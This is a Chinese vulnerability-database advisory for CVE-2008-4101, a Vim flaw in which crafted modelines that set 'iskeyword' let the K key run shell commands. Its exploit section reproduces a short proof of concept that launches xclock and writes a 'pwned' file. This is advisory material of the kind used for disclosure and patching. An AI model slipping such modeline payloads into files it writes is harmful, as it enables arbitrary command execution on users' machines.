Vim 输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115926 漏洞类型 输入验证
发布时间 2008-08-19 更新时间 2010-01-08
CVE编号 CVE-2008-4101 CNNVD-ID CNNVD-200809-244
漏洞平台 Linux CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/32289
https://www.securityfocus.com/bid/30795
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200809-244
|漏洞详情
Vim存在输入验证漏洞。由于没有正确的过滤转义字符,攻击者可以(1)借助点击键盘上的K键执行任意shell命令,或,(2)按Ctrl键或(3)"g]"序列后执行一个参数输入任意Ex命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/30795/info

Vim is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Versions prior to Vim 7.2.010 are vulnerable. 

Copy-and-paste these examples into separate files:

;xclock
vim: set iskeyword=;,@

Place your cursor on ``xclock'', and press K. xclock appears.

;date>>pwned
vim: set iskeyword=1-255

Place your cursor on ``date'' and press K. File ``pwned'' is created in
the current working directory.

Please note: If modeline processing is disabled, set the 'iskeyword'
option manually.
|受影响的产品
VMWare ESX Server 3.0.3 VMWare ESX Server 3.0.3 VMWare ESX Server 3.0.2 VMWare ESX Server 2.5.5 VMWare ESX Server 3.5 VIM Development Group VIM 7.1.314 V
|参考资料

来源:MLIST
名称:[vim_dev]20080824Bugwithv_KandpotentiallyKcommand
链接:http://groups.google.com/group/vim_dev/msg/9290f26f9bc11b33
来源:MISC
链接:http://groups.google.com/group/vim_dev/attach/dd32ad3a84f36bb2/K-arbitrary-command-execution.patch?part=2
来源:bugzilla.redhat.com
链接:https://bugzilla.redhat.com/show_bug.cgi?id=461927
来源:XF
名称:vim-normal-command-execution(44626)
链接:http://xforce.iss.net/xforce/xfdb/44626
来源:VUPEN
名称:ADV-2009-0904
链接:http://www.vupen.com/english/advisories/2009/0904
来源:www.vmware.com
链接:http://www.vmware.com/security/advisories/VMSA-2009-0004.html
来源:UBUNTU
名称:USN-712-1
链接:http://www.ubuntu.com/usn/USN-712-1
来源:BID
名称:31681
链接:http://www.securityfocus.com/bid/31681
来源:BID
名称:30795
链接:http://www.securityfocus.com/bid/30795
来源:BUGTRAQ
名称:20090401VMSA-2009-0004ESXServiceConsoleupdatesforopenssl,bind,andvim
链接:http://www.securityfocus.com/archive/1/archive/1/502322/100/0/threaded
来源:BUGTRAQ
名称:20080825RE:ArbitraryCodeExecutioninCommands:K,Control-],g]
链接:http://www.security